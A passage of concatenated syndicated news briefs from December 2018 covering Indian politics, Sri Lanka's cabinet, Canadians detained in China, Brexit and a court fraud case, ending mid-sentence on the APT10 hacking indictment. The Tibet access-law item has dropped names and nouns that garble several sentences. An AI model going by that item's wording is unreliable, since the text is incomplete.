Thakkar told PTI. "All religious, political and social issues are discussed," Thakkar said, without elaborating. However, sources said that Ram temple issue would figure prominently in the discussions. Gujarat BJP spokesperson Raju Dhruv confirmed that Shah will be coming to Rajkot Friday to attend the meeting. Adityanath is also likely to come, he said. Hindu right-wing organisations as well as the RSS have been raising the pitch for the construction of Ram temple at the disputed site in Ayodhya, saying that an ordinance could be brought in for this purpose. The Ram temple dispute is currently before the Supreme Court. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Jammu and Kashmir State Human Rights Commission (SHRC) Thursday issued a notice to deputy mayor of Srinagar Municipal Corporation (SMC) Sheikh Imran Ahmad for his alleged misbehaviour with a doctor at a government-run hospital here early this week. Taking suo moto cognizance of media reports about the deputy mayor's alleged misbehaviour with Dr Randeep Singh, the SHRC directed Ahmad to file his response by December 26. "It is well settled that exercising powers by any authority which are not available to him in law amount to breaking of rule of law and as such violation of human rights. "The reports prima facie suggest that deputy mayor's remarks/comments were humiliating to members of very respectable and notable profession," the commission observed while issued the notice to deputy mayor. In a video, that has become viral, the deputy mayor is seen using aggressive and unparliamentary language with the doctor on duty at Chest Diseases Hospital at Drugjan here on Tuesday. The deputy mayor threatened the doctor that he will "have him bloody sacked" if he does not do his duty properly. Meanwhile, Dr Singh has accused the deputy mayor of interfering in his professional duties which led to the death of a cancer patient as he could not be referred to a superspeciality hospital in time due to Ahmad's presence at the hospital. "Our patient who was suffering from cancer had to be immediately referred to the SMHS hospital, where multi-specialty facilities are available, Singh said. "I had just returned to my room after seeing patients in the casualty. The patient's condition deteriorated and the deputy mayor, without introducing himself or any prior information, barged into the room at the same time. He started abusing me and asked how I could relax on the chair while someone was dying, he added. Doctors Association of Kashmir has condemned the deputy mayor's behaviour and demanded Governor Satya Pal Malik's intervention in the matter. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sri Lankan President Maithripala Sirisena on Thursday named a 30-member Cabinet while rejecting some of Prime Minister Ranil Wickremesinghe's nominees and retained control over the security forces and police, indicating that the power tussle between them is far from over. The new Cabinet was appointed after an unexpected delay of three days since Wickremesinghe was sworn in as Prime Minister on December 16 following weeks of political crisis that led to government dysfunction. The Cabinet formation delayed as President Sirisena did not agree with some nominees from the list submitted by Prime Minister Wickremsinghe. Sirisena rejected Wickremesinghe's nominees for Cabinet positions from those who had defected from his Sri Lanka Freedom Party (SLFP). At least three senior SLFP leaders had defected to Wickremesinghe's United National Party (UNP) during the political crisis. The President has not appointed a law and order minister, a crucial post for investigating corruption allegations against former president Mahinda Rajapaksa and his family. Sirisena, who holds the Defence and Mahaweli Development and Environment Ministry portfolios, has retained his control over the police, which is investigating an alleged plot to kill him. The plot widened the gulf between Sirisena and Wickremesinghe. On October 26, Sirisena sacked prime minister Wickremesinghe and installed Rajapaksa in his place, triggering an unprecedented constitutional crisis. Sirisena also dissolved the 225-member Parliament and called for a snap election on January 5. He publicly vowed not to reinstate Wickremesinghe. However, Wickremesinghe was re-appointed as prime minister by Sirisena following a Supreme Court order, ending the 51-day political standoff in the country. Wickremesinghe holds portfolios of National Policies, Economic Affairs, Resettlement & Rehabilitation, Northern Province Development, Vocational Training & Skills Development & Youth Affairs. Thilak Janaka Marapana was sworn-in as the Minister of Foreign Affairs. Sirisena's decision to keep the Law and Order Ministry has been disputed by the UNP, which claimed that the president was only constitutionally allowed to be the defence minister in addition to the subject of environment. Analysts said that Cabinet appointments indicate that Sirisena and Wickremesinghe were still at loggerheads and the country's worst political crisis is far from over. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Tata Motors Thursday said it has partnered with self-drive rental platform Zoomcar to offer Tata Tigor electric vehicles (EVs) in Pune. "Tata Tigor EVs will now be available on the self-drive rental platform, offered by Zoomcar, to enable zero-emission transport option for the citizens of Pune," Tata Motors President - Electric Mobility Business and Corporate Strategy Shailesh Chandra said in a statement. Commenting on the tie-up, Zoomcar co-founder and CEO Greg Moran said it marks the beginning of a dynamic partnership within electric mobility. "We expect to touch 20 cities and 500 electric vehicles with Tata over the next year," he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A "silicon city" would be developed here, famous for the hill shrine of Lord Venkateswara temple, on the lines of the "HiTec city" in Hyderabad, Andhra Pradesh Chief Minister N Chandrababu Naidu said Thursday. Naidu, credited with developing the Hi-Tec city while being the chief minister of undivided Andhra Pradesh, said the proposed silicon city would come up on an area of 1,000 acres near the airport here. It would have a large number of Information and Technology companies and built on par with the HiTec (Hyderabad Information Technology Engineering Consultancy) city which was developed in 1996, he said. The chief minister was speaking after laying the foundation for Rs.2,200 crore Chinese multinational electronics company TCL Corporation at Vikruthamala, about 20 km from here. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Maharashtra cabinet Thursday decided to waive the stamp duty and registration fees for the leave and license agreement for the construction of late Shiv Sena supremo Bal Thackeray's memorial in central Mumbai. The state government has given the Mayor's bungalow at Shivaji Park on a 30-year lease for the proposed memorial. At the cabinet meeting held on Thursday, the cabinet approved a proposal to waive the stamp duty and registration fees for leave and license agreement for the project. The government and the local civic body have leased an area measuring 11,551 sq metres for one rupee per annum for the construction of the Thackeray memorial. The Bal Thackeray Memorial Trust headed by Sena chief Uddhav Thackeray was constituted and a plot of land in Dadar, which currently hosts the mayor's bungalow, belonging to the Brihanmumbai Municipal Corporation (BMC) was given to the trust on lease for construction of a memorial. A high-level committee was set up in 2014 for setting up of the memorial. It held various meetings and explored the possibility of setting up such a memorial at various places, including the premises in contention - the mayor's bungalow. The said property belongs to the BMC and this proposal was accepted by the government. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A third Canadian detained in China is being held for working illegally in the country, the foreign ministry said Thursday, in a case which appears unrelated to previous detentions that have sparked diplomatic tensions. The Canadian, a woman named Sarah McIver, faces "administrative penalties", said Chinese foreign ministry spokeswoman Hua Chunying at a press briefing in Beijing, without specifying what the penalties entail. Canada's National Post newspaper identified McIver as a teacher from Alberta who had been working at a school in China. Citing an unidentified source, it said she was expected to be returned to her country before the New Year. It comes after former Canadian diplomat Michael Kovrig and China-based business consultant Michael Spavor were detained on national security grounds in suspected retaliation over Canada's arrest of a top Chinese telecom executive. Hua said that McIver's case is different from the previous two detentions, which were carried out by China's state security apparatus. McIver is being held by a local public security bureau, she added. Canadian Prime Minister Justin Trudeau also suggested on Wednesday that McIver's case was separate, saying Ottawa was "looking into the details" but that it "doesn't seem to fit the pattern set by the previous two." Kovrig and Spavor were both detained on December 10 and accused of engaging in activities "that endanger China's national security". McIver's case comes against a backdrop of escalating tensions between China and Canada, which arrested Huawei chief financial officer Meng Wangzhou on December 1. Ottawa has repeatedly said Meng's arrest was not political but rather part of a judicial process in keeping with an extradition treaty with Washington. Meng was released on bail last week in Vancouver pending her US extradition hearing on fraud charges related to sanctions-breaking business dealings with Iran. Canadian officials have been granted consular access to both Kovrig and Spavor. Hua said Thursday that Canada and China are maintaining "unimpeded consular communication" on McIver's case. McIver, described by those who know her as "bubbly" and "approachable", was detained by authorities due to visa complications, the National Post reported. She had previously travelled abroad to teach in South Korea and Malaysia, and arrangements are being made for her return to Canada, said the Canadian newspaper. The Chinese foreign ministry said it could not confirm whether or not McIver was heading home soon. Trudeau is facing pressure at home to send a stronger message to Beijing in response to the spate of detentions in China. Ottawa is still trying to "figure out why" the two other Canadians, Kovrig and Spavor, are being investigated and is "trying to work with China to demonstrate that this not acceptable", Trudeau told Toronto's Citytv last week. Bob Rae, who briefly led Canada's Liberal Party (2011-2013) before handing the reins to Trudeau, urged the government to develop a "robust, principled and effective response" to Beijing's actions. "This looks too much like hostage taking," he said on Twitter. Observers say Canada is increasingly looking like collateral damage in a simmering US-China trade war, with Beijing at the same time working to ease trade tensions with Washington. China's state-owned grain stockpiler said Wednesday it has resumed buying US soybeans. Last week, China said it would suspend extra tariffs on US-made cars and auto parts for three months from January 1. The move followed an accord between Xi and US President Donald Trump -- reached on the sidelines of the G20 summit in Buenos Aires on December 1, the very day Meng was arrested -- to hold off on new tariffs set to take effect in the new year and instead start negotiations on trade concerns. "The escalating trade war between them is going to have all sorts of unintended consequences for Canada, potentially the entire global economy," Trudeau has said. "We're very worried about that. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The third Canadian detained in China is being held for working illegally in the country, the Chinese foreign ministry said Thursday amid diplomatic tensions over the previous two detentions on national security grounds. The Canadian, a woman named Sarah McIver, faces "administrative penalties", said Chinese foreign ministry spokeswoman Hua Chunying at a press briefing in Beijing, without specifying what the penalties entail. Canada's National Post newspaper has identified McIver as a teacher from Alberta. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Three persons, including two members of a family, were killed and two others suffered serious injuries in separate road accidents in Giridih district on Thursday, police said. The seriously injured were admitted to Giridih Sadar Hospital, the police said. In the first incident, a man and his nephew were killed when a speeding bus hit their motorcycle near Usri river on Giridih-Dhanbad road, Sub-Divisional Police Officer Jeet Vahan Oraon said. In protest against the incident, a large number of local residents assembled on the spot and staged a road blockade for four hours, a police officer said. The also demanded Rs 10 lakh compensation for the victim's family, the officer said. The road blockade was withdrawn after senior officials assured that compensation would be provided as per government norms. The second incident happened near the new police line when a person identified as Ajay Kumar was killed and another seriously injured after a truck hit the motorcycle carrying them. The incident happened under the jurisdiction of Muffassil police station, the police said. Kumar was a resident of Mangrodih village, the police officer said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) / -- TO THE NEW , a premium digital technology company has been featured in the execution zone of Consumer Software Segment of Zinnov Zones Global Engineering R&D Services Ratings 2018. This is for second time in row that the company has been featured in the execution zone for depicting strong engineering capabilities. (Logo: https://mma.prnewswire.com/media/728150/TO_THE_NEW_Logo.jpg ) Zinnov Zones is a highly trusted annual rating published by Zinnov, which evaluates and rates technology service providers on their Engineering R&D prowess. The ranking was basis a rigorous assessment that involved a detailed analysis of various facets including service providers financials, growth rate, size, capabilities, offerings, IPs, innovation and linkages. TO THE NEW was found to be excelling in consumer software segment with a strong hold on user experience engineering, platform engineering and quality assurance engineering. The company has also demonstrated a deep industry experience with a strong focus on independent software vendors and consumer Internet enterprises along with highly innovative reusable frameworks and intellectual properties especially designed to cater Mutual Funds and Insurance sector in India. The companies strong partnership linkages including a premier partnership with AWS have also contributed to this recognition. Commenting on the occasion, Deepak Mittal, Chief Executive Officer at TO THE NEW, said, "As per the report, many large R&D spenders will leverage the SPs to drive transformation through digital engineering which means there is great potential and hunger for engineering services in global market. We are proud that we are already quite mature in the digital space and now achieving this accreditation from Zinnov validates our expertise in this space." "TO THE NEW has exhibited a year-on-year advancement in the Consumer Software. Its proprietary horizontal solutions such as 'MyCloud', 'Hawk', etc. have helped them gain traction in North America and APAC. The companies robust ecosystem partnerships with Technology giants and 100+ Silicon Valley Start-ups is driving their stride across verticals," quoted Sidhant Rastogi, Partner and Practice Head, Zinnov. About Zinnov Zinnov was founded in 2002, with presence in Bangalore, Gurgaon, Silicon Valley, and Houston. Since its inception, Zinnov has built in-depth expertise in Product Engineering and Digital Transformation. With a strong foundation in Research and Strategy Consulting they enable their clients to accelerate growth and create efficiencies through innovation, productivity, technology, networked economies and cost savings. They work with clients in the Software, Automotive, Telecom & Networking, Consumer Electronics, Storage, Healthcare, Financial Services & Retail, Semiconductor verticals in U.S., Europe, Japan and India. About TO THE NEW TO THE NEW is a premium digital technology company that provides end-to-end product development services. TO THE NEW leverages the power of experience design, cutting-edge engineering and cloud to build disruptive web and mobile products and enable digital transformation for businesses. TO THE NEW practices Agile methodologies to develop innovative products with a faster time to market. With a team of passionate technologists, TO THE NEW constantly challenges the status quo to empower Fortune 500 companies as well as startups across the globe. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Tourism can play a pivotal role in further improving ties with Bangladesh and Assam will roll out the red carpet to welcome visitors from the neighbouring country, Assam Tourism Minister Chandan Brahma has said. Tour operators can come to the state to explore the possibilities and all arrangements will be made by the state government, Brahma said. "People of Assam and Bangladesh have ties that date back to long ago and we are keen to increase people to people and cultural interaction between the duo," he added. The minister was addressing a gathering on the occasion of Bangladesh Victory Day Festival, organised here by the Assistant High Commission office here on Wednesday night. The proposed opening of the Chittagong port for trade and direct flights between Guwahati and Dhaka will also lead to increase in volume of trade from the North East not only to the neighbouring country but also to other South East Asian countries, the minister added. Bangladesh Assistant High Commissioner in Guwahati Dr Shah Mohammad Tanvir Monsur also highlighted the possibilities increased collaboration between his country and Assam in the areas of trade, commerce, education, medical tourism, art, literature and culture. He also announced that, for the first time, 10 publishing houses from Bangladesh will participate in the Guwahati Book Fair scheduled to begin from December 22. Monsur offered his tributes to the freedom fighters along with extending deep gratitude to the supporters of the liberation war, particularly those Indian soldiers who sacrificed their lives to make Bangladesh free from the occupation force. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Telangana Rashtra Samiti would reach out to the Trinamool Congress, Samajwadi Party and the Bahujan Samaj Party to promote its idea of forging a non-Congress, non-BJP federal front of regional parties, a key TRS leader said Thursday. TRS deputy floor leader in the Lok Sabha, B Vinod Kumar, said his party has already "sold the idea" of a united front to the regional parties. He dismissed the perception in some sections of the Congress and the United Progressive Alliance (UPA) camp that the efforts of TRS president and Telangana Chief Minister K Chandrasekhar Rao in this direction may split the anti-BJP votes and benefit the Bharatiya Janata Party. "Our thinking on this federal front is: All the regional parties who are powerful in their respective states should come together and their bargaining power will increase with either the Congress or the BJP only if we are united," the Karimnagar Lok Sabha member told PTI. "Otherwise, they -- Congress and BJP -- will deal with each political party in each state and dictate terms to other regional political parties," Kumar argued. Regional parties should unite and "collectively bargain" with political parties -- in post-poll scenario, he said. Both the BJP and the Congress are unable to "stomach" this TRS idea to bring about unity among regional parties and are indulging in propaganda -- "The Congress says we (TRS) is with the BJP, the BJP says we (TRS) are with the Congress," he said. "Our concept of a federal front is that all the regional political parties who have their stakes in their state should come united, we should come united, and we should think and decide whom to support (post-election)," Kumar said. Rao had few months ago met TMC chief Mamata Banerjee, DMK president M K Stalin and JD(S) leaders H D Deve Gowda and H D Kumaraswamy to promote his idea of a non-Congress, non-BJP federal front. But the initiative was largely seen as a non-starter by critics. When asked about how the TRS would take the issue forward as many regional parties have either aligned with the Congress-led UPA or the BJP-led NDA, he said: "We have already sold this idea. Already those who are with the BJP are thinking on these terms (federal front) and also the UPA partners they are happy with this (TRS) idea." "Now, day before yesterday, Mamata Banerjee, Samajwadi Party and Mayawati had distanced themselves from the Congress," he said without elaborating. Banerjee, SP chief Akhilesh Yadav and Mayawati had skipped the swearing-in ceremonies of three Congress chief ministers -- Kamal Nath, Ashok Gehlot and Bhupesh Baghel -- in Madhya Pradesh, Rajasthan and Chhattisgarh, respectively. The three leaders are reportedly not in favour of projecting a prime ministerial candidate of the proposed anti-BJP front and are of the opinion that the leadership issue could be discussed after the polls. On Sunday, the DMK chief backed Congress president Rahul Gandhi as the opposition's prime ministerial nominee. Asked if the TRS would reach out to Banerjee, Yadav and Mayawati again, Kumar said: "They should understand properly (the concept of a federal front). We have already briefed them earlier. We will once again tell them." TRS sources said Rao may try to give a fresh impetus to the idea of a federal front during his visit to the national capital expected by the end of this month. Rao, who was recently sworn-in as Telangana's chief minister for the second consecutive time, is likely to pay a courtesy visit to President Ram Nath Kovind and Prime Minister Narendra Modi in New Delhi. "During the visit, he may meet the leaders of the regional parties. We will think on these terms (promoting federal front idea)," the TRS leader said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) US President has signed a bipartisan bill on into law that could enrage China, paving the way to impose a visa ban on Chinese officials who deny American citizens, government officials and journalists access to the sensitive Himalayan region, homeland of the exiled US citizens including government officials, reporters and tourists who seek to enter Tibetan areas are routinely rejected, and the few who do get in are forced to stay on strictly controlled official tours, where the true situation of the Tibetan people is hidden from them, officials said. The situation is worst of all for Tibetan-Americans, who are almost and always denied the right to make a pilgrimage to their ancestral land and to meet their family members there, community members said. The Wednesday's move by President Trump came days after China lodged a "stern" diplomatic protest with the US over the Senate passing the legislation with Beijing asking Washington not to make it a law. China insists has been part of its territory for centuries. The fled to India in 1959 amid an abortive uprising against the Chinese rule in his Himalayan homeland. The said that Trump signed into law the 'Reciprocal Access to Act of 2018' which promotes access for diplomats, officials, journalists and from the United States to China's Tibetan areas. The bill, which was earlier passed by the Senate and the House of Representatives, seeks to impose a visa ban on Chinese officials who deny American citizens, government officials and journalists' access to the remote region of Tibet. The move also comes amidst Trump administration imposing massive trade import duties on China, the world's second largest after that of However, the bill includes a national security waiver and would require the Secretary of State to submit an assessment to Congress of the level of access to Tibet granted to US officials, journalists and tourists by China. If the Secretary of State determines that there are restrictions on travel to Tibet, the appropriate Chinese officials will be ineligible to enter the US. The Tibetan community described it as a historic moment for them. 'Reciprocal Access to Tibet Act becomes law, marking new era of American support for Tibet', said Campaign for Tibet (ICT). "This is truly a turning point for Americans, Tibetans and all who care about equality, justice and human rights," said Matteo Mecacci, ICT president. "By passing this impactful and innovative law, the US has blazed a path for other countries to follow and let the Chinese government know that it will face real consequences for its discrimination against the Tibetan people," he said. Congressman Jim McGovern, who introduced the bill in the House of Representatives, said: "I'm glad that the President signed our bill, the Reciprocal Access to Tibet Act, into law. "For too long, China has covered up their human rights violations in Tibet by restricting travel. But actions have consequences and today we are one step closer to holding the Chinese officials who implement these restrictions accountable". McGovern said he looks forward to watching closely as the law is implemented, and continuing to stand with the people of Tibet in their struggle for religious and cultural freedom. The Reciprocal Access to Tibet Act is based on the diplomatic principle of reciprocity, which calls on countries to give equal rights to one another's citizens. Sponsors of the bill alleged that when it comes to Tibet, China does not reciprocate. Although Chinese citizens travel freely throughout the US, Chinese authorities severely restrict Americans' ability to access Tibet. "The Reciprocal Access to Tibet Act specifically highlights the discriminatory attitude of Chinese officials toward Tibetan-Americans who seek to visit Tibet. "The Chinese embassy and consulates routinely place such Tibetan-Americans under a more stringent and non-consular application process merely because they are of Tibetan-origin. This includes subjecting them to vigorous interviews by United Front officials, collecting personal and family information and eventually denying them access," ICT vice president Bhuchung K Tsering said. The ICT said until now, China has been able to use its economic and military power to isolate Tibet without much resistance from the community. With reciprocal access to Tibet becoming law, China will begin to feel the weight of its unfair policies. The law requires the Secretary of State to assess Americans' level of access to Tibet within 90 days of its enactment and to send a report to Congress every year afterward identifying the Chinese officials responsible for keeping Americans out of Tibet. The Secretary will then ban those officials from receiving visas to enter the US. A special CBI court here Thursday sentenced three persons, including two former officials of Bank of Baroda (BoB), to seven years in jail for providing credit facility of over Rs 1 crore on the basis of forged documents. The court held then senior manager at the bank Manohar Jadhav, then joint branch manager Lalchand Verma and one Nargis Diventry guilty under IPC sections 420 (cheating), 468 (forgery for cheating) and 120 B (criminal conspiracy). Special CBI judge S R Tamboli also imposed a fine of Rs 6.20 lakh each on the two bank officials, while Diventry was ordered to pay a fine of Rs 16 Lakh. The fine amount will go to the bank, said the court. The CBI had lodged a case against eight persons in 2009 with regard to the fraud. Main accused Vanraj N Shah alias Vijay Seth and another accused died in the course of the trial. The court acquitted Shah's wife and another person giving them the benefit of doubt, while another accused was discharged earlier. According to the prosecution, Shah, who supplied raw material to heavy industries, obtained a credit facility of Rs 1 crore from Bank of Baroda with the help of the accused bank officials in 2007-08. He offered his stock and raw material as a collateral by allegedly submitting forged documents. The bank officials did not verify the security, the Central probe agency alleged. Diventry had obtained a car loan from the bank using a forged document where Shah stood as a guarantor. Special public prosecutor R S Mahamane said the prosecution examined 33 witnesses during the trial. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Shares of tyre companies Thursday rose over 5 per cent amid reports that the GST Council is likely to slash tax rates on automobile tyres to 18 per cent from 28 per cent, currently, in its next meeting Saturday. JK Tyre emerged as the biggest gainer among tyre firms by closing at Rs 109 on the BSE, up 5.88 per cent from the previous close. Intra-day it soared 7.52 per cent to Rs 110.70. Apollo Tyres gained 0.13 per cent to end at Rs 239.80. TVS Srichakra advanced 1.56 per cent to settle at Rs 2,580. MRF rose 0.06 per cent to Rs 69,200. and Ceat closed at Rs 1,351, with a gain of 0.51 per cent. The move is part of the government's overall plan to rationalise the highest tax bracket of 28 per cent after Prime Minister Narendra Modi Tuesday said that 99 per cent of over 1,200 goods and services will attract 18 per cent or less Goods and Services Tax (GST). "A 28 per cent tax on automobile tyres impacts common man because ultimately he has to shell out the tax. The overall focus on December 22 Council meet will be to lessen the GST burden on common man," an official had said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The BJP and the Congress workers clashed over the Rafale deal issue at Congress Bhawan here, a senior police official said. Minutes before senior Congress leader Kumari Selja was to address a press conference over the Rafale deal issue at the party office here Wednesday, the BJP workers allegedly stormed into its precincts and started tearing off the posters and banners leading to a clash with the Congress workers, who resisted, he said. The BJP workers even clashed with police personnel when they tried to stop them, Pradesh Congress president Pritam Singh said. The BJP workers, who had gathered at Astley Hall to burn an effigy of Congress president Rahul Gandhi, who they claimed was "misleading the nation over Rafale". They broke the barricades and marched towards Congress Bhawan located nearby, Additional Director General law and order Ashok Kumar said. As per a complaint lodged with police by the Congress leaders, the vandalism by the BJP workers at the party office was meant to disrupt a press conference by Selja on the Rafale deal. The deputy inspector general has been asked to look into the allegations made by the Congress, the ADG said. The BJP workers said the Congress president was "spreading lies" about Rafale despite the fact that the Supreme Court had found nothing wrong in the deal. "Despite the chinks in his own armour, Rahul Gandhi has used unparliamentary language against the prime minister, calling him a thief and lowering the dignity of the top office, " BJP Mahanagar president Vinay Goel said. When asked about the vandalism at the Congress office, Goel said the BJP workers were only peacefully protesting. Condemning the incident, Pradesh Congress Committee chief Pritam Singh said it reflected the frustration prevailing in the BJP ranks over the party's electoral loss in Madhya Pradesh, Chhattisgarh and Rajasthan. He said the Congress will demonstrate against the BJP all over the state by burning the Bharatiya Janata Party's effigy at every district headquarters. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) British lawmakers were heading off for a holiday break Thursday with visions of Brexit dancing in their heads and a big decision to make. Parliament was breaking up for a 17-day Christmas recess, with no decision on whether to approve the government's divorce deal with the European Union. Prime Minister Theresa May postponed a vote on the deal last week to avert heavy defeat. It has been rescheduled for the week of Jan. 14, but opposition remains strong across the political spectrum. Amid the impasse, Britain and the EU have triggered plans to try to limit the economic chaos if Britain leaves the bloc on March 29 with no deal in place on withdrawal terms and future relations. The EU says it will take emergency measures to ensure planes can still fly and some financial services can still operate after a "no-deal," Brexit, while Britain has stockpiled medicines and put 3,500 troops on standby. The government hopes the grim prospect of a disruptive Brexit will persuade lawmakers to vote for May's deal when they come back. The Bank of England said Thursday that uncertainties around Brexit have "intensified" over the past few weeks and are weighing on U.K. economic growth. The central bank said that "business investment has fallen for each of the past three quarters and is likely to remain weak in the near term." Last month, the bank warned that a worst-case no-deal Brexit could see the British economy shrink by 8 percent within a few months. Most members of Parliament dislike both May's Brexit deal and the prospect of leaving the EU without an agreement, but they are deeply divided about what to do instead. Many in the opposition want a new election, while others argue for a second referendum on Britain's EU membership. There are also divisions within the Conservative government. Work and Pensions Secretary Amber Rudd said Wednesday that "there would be a plausible argument" for a new referendum if Parliament remained deadlocked. "Parliament has to reach a majority on how it's going to leave the European Union," Rudd told broadcaster ITV. "If it fails to do so, then I can see the argument for taking it back to the people again, much as it would distress many of my colleagues." But Leader of the House of Commons Andrea Leadsom said the government was dead-set against a second referendum, and insisted "no-deal" need not be a disaster. "'No-deal' implies that we leave in March and there are absolutely no agreements whatsoever," Leadsom told the BBC. "But what we already saw yesterday, in the EU's preparations which they have very belatedly started to make for no deal, is that there are going to be agreements on things like aviation, on things like haulage, on things like tourist travelers and so on. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Special Investigation Team (SIT) of the UP Police has suggested in its report that constable Prashant Chowdhary had opened fire "without any provocation" at Apple employee Vivek Tiwari here in September leading to his death. The constable shot at the 38-year-old Apple store manager, who was in an SUV, after he allegedly refused to stop his car in Gomti Nagar on September 29. The report by the SIT, led by Inspector General Sujeet Pandey, was submitted to the DGP office here Wednesday night. The constable had claimed that he had opened fire at Tiwari when he refused to stop his car. But, the SIT report says Tiwari was trying to leave the spot when he was intercepted by police and hit the patrol motorcycle. Meanwhile, Sandeep Kumar, the constable accompanying Chowdhary, has been given a clean chit in the murder, but was charge-sheeted under Section 323 of the IPC for voluntarily causing hurt to Tiwari's female colleague Sana Khan, who was also in the vehicle. Both the constables were arrested and are presently in jail. The 16-page SIT report also recommended action against the then Gomti Nagar SHO and the then Circle Officer for lapses. Pandey told reporters that the murder took place "without any provocation". It was not pre-planned and happened on the spur of the moment, he said. "After a detailed investigation, we have charged Chaudhary under IPC section 302 (murder). He had claimed that he fired the bullet in self-defence. However, we found there was no imminent life threat to him or even any injury caused...," Pandey said. The Lucknow Police will file a charge sheet in the case soon, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Australia is open to multilateral military drills subject to invitation from other participating nations, the country's envoy Harinder Sidhu said Thursday. The envoy said this after she was asked at an event here if there was any possibility of Australia joining India, Japan and the US for the Malabar Trilateral Naval Exercise. Military ties between India and Australia have been on an upswing over the last few years. In 2017, there were 24 exercises between the defence forces of the two nations and this year, the number rose to 30, Sidhu said. The armies, navies, air force and special forces from the two countries were involved in these drills. "What you see is very high-level trust and confidence in each other. I think that level of military cooperation is unprecedented in our relationship. "We have never taken it that far before," she said to a question at an event on 'Australia-India Relations Today'. Responding to another question on the possibility of the Australian navy joining India, the US and Japan for the Malabar military drill, she said her country was always open to that. "You asked about other multilateral exercises? We are always open to that but if there are exercises involving other countries, it is for those countries to invite us," Sidhu said. India and Australia share robust defence cooperation and the navies of the two countries participate in the bilateral drill AUSINDEX. The two countries also participated in Quad, involving the US and Japan. However, India is not so forthcoming in Australia's participation in the Malabar Exercise involving India, Japan and the US. The drill was held in June. "We are still open to doing more (drills) in different combination," the envoy said. When asked about progress on import of Australian uranium, Sidhu said there is a lot of engagement between India and Australian suppliers. "There are some active discussion to take forward the export of uranium," she said. India and Australia had signed a nuclear cooperation agreement in 2015. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Days after quitting the NDA, Rashtriya Lok Samta Party (RLSP) chief Upendra Kushwaha joined the UPA on Thursday in the presence of leaders of the grand alliance in Bihar and said they would together work towards ensuring social justice in the state. The announcement of Kushwaha joining the 'mahagathbandhan' of opposition parties in Bihar came at a press conference at the party headquarters here in the presence of senior Congress leader Ahmed Patel, AICC state in-charge Shaktisinh Gohil, Rashtriya Janata Dal leader Tejashwi Yadav, opposition leader Sharad Yadav and former Bihar Chief Minister Jitan Ram Manjhi who heads the Hindustani Awam Morcha (Secular). The former Union minister, who held the education portfolio in the NDA government, joined the United Progressive Alliance (UPA) after holding talks with the top Congress leadership. On a seat-sharing arrangement with the UPA, he said, "We will take the right decision at the right time." Kushwaha said the main reason behind him quitting the NDA was the failure of the Modi government to fulfil the promises made to the people of Bihar, besides the "insult" he suffered within the NDA. He said an "aakrosh march" will be taken out in Patna on February 2 in which various like-minded parties would participate. Welcoming him into the alliance, Patel said it's a matter of pride that all like-minded parties have got together, and Kushwaha is joining this coalition today. Kushwaha lauded Congress President Rahul Gandhi for coming to the aid of farmers and youths and said he does what he says. He accused Prime Minister Narendra Modi of "insulting" the people of Bihar and the country by not fulfilling the promises made to them. The RLSP chief alleged Bihar Chief Minister Nitish Kumar conspired to weaken him within the NDA and that the prime minister remained a mute spectator when he was being "insulted". "Our party was being weakened as part of a conspiracy. Nitish Kumar tried to break my party," he alleged. RJD leader Tejashwi Yadav said "this is a union of hearts and not of parties" and asserted that the weather in the country is changing. He alleged that under the Modi government, an "undeclared emergency and dictatorship" had been imposed in the country and accused Nitish Kumar of disrespecting the mandate given by the people of Bihar. Yadav also took a dig at the NDA's claim of having a double-engine government in Bihar, saying while one of the engines denotes corruption, the other stands for rising crimes in the state. Appealing to like-minded parties to unite against the NDA, he called their leaders to "sacrifice their egos in national interest". He also alleged that the Modi government posed a big threat to the country's Constitution and institutions and said the UPA coalition will provide "positive and constructive" governance in the state. It's a fight against those who have "befooled" the people of Bihar and the country and those who are out to destroy the Constitution and institutions such as RBI, ED and CBI, he said. "The 'Mahagathabadhan' family in Bihar is growing. It's a coalition of the 'hearts of people' and not an alliance of parties. It is a coalition on issues. It is a coalition of the 'new pact' with farmers and youth. It is a coalition of the new commitment towards social justice. It is a coalition of the people against mobocracy and dictatorship," Yadav said. "The 'Mahagathbandhan in Bihar is a 'halla bol' (war cry) coalition of Dalits, backwards, minorities and progressive people against 'Manuvaadis'. This is a popular alliance of justice-loving forces against those who are out to destroy institutions like the RBI, ED and CBI," he said. The leaders said they will together throw the BJP out of power and will work towards mitigating the plight of the people of Bihar and the country. Asked about Bihar Congress leader Ranjeet Ranjan's remarks that Nitish Kumar is welcome into the grand alliance, Gohil said, "It is a hypothetical question." While Sharad Yadav said the country is going through tough times and all parties are coming together to fight, Jitan Ram Manjhi said the coalition will help correct the mistakes of the NDA government. Kushwaha's joining the UPA is likely to give a boost to the formation of a grand alliance in Bihar to counter the NDA combine of Bharatiya Janata Party-Janata Dal(U)-Lok Janshakti Party. The Congress, Rashtriya Janata Dal, Hindustani Awam Morcha (Secular) are already part of the UPA in Bihar and are seeking to give a fight to the National Democratic Alliance (NDA) in the upcoming Lok Sabha polls. The saffron alliance had swept the Lok Sabha elections in 2014, winning 31 of the state's 40 seats. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Trump Administration on Thursday charged two Chinese nationals who allegedly targeted scores of companies in 12 countries, including the United States, India, Japan and Brazil. According to the unsealed indictment, Chinese nationals Zhu Hua and Zhang Shilong were members of a hacking group operating in China known within the cyber security community as Advanced Persistent Threat 10 (the APT10 Group). They worked for a company in China called Huaying Haitai Science and Technology Development Company (Huaying Haitai) and acted in association with the Chinese Ministry of State Security's Tianjin State Security Bureau, federal prosecutors said. The charges include 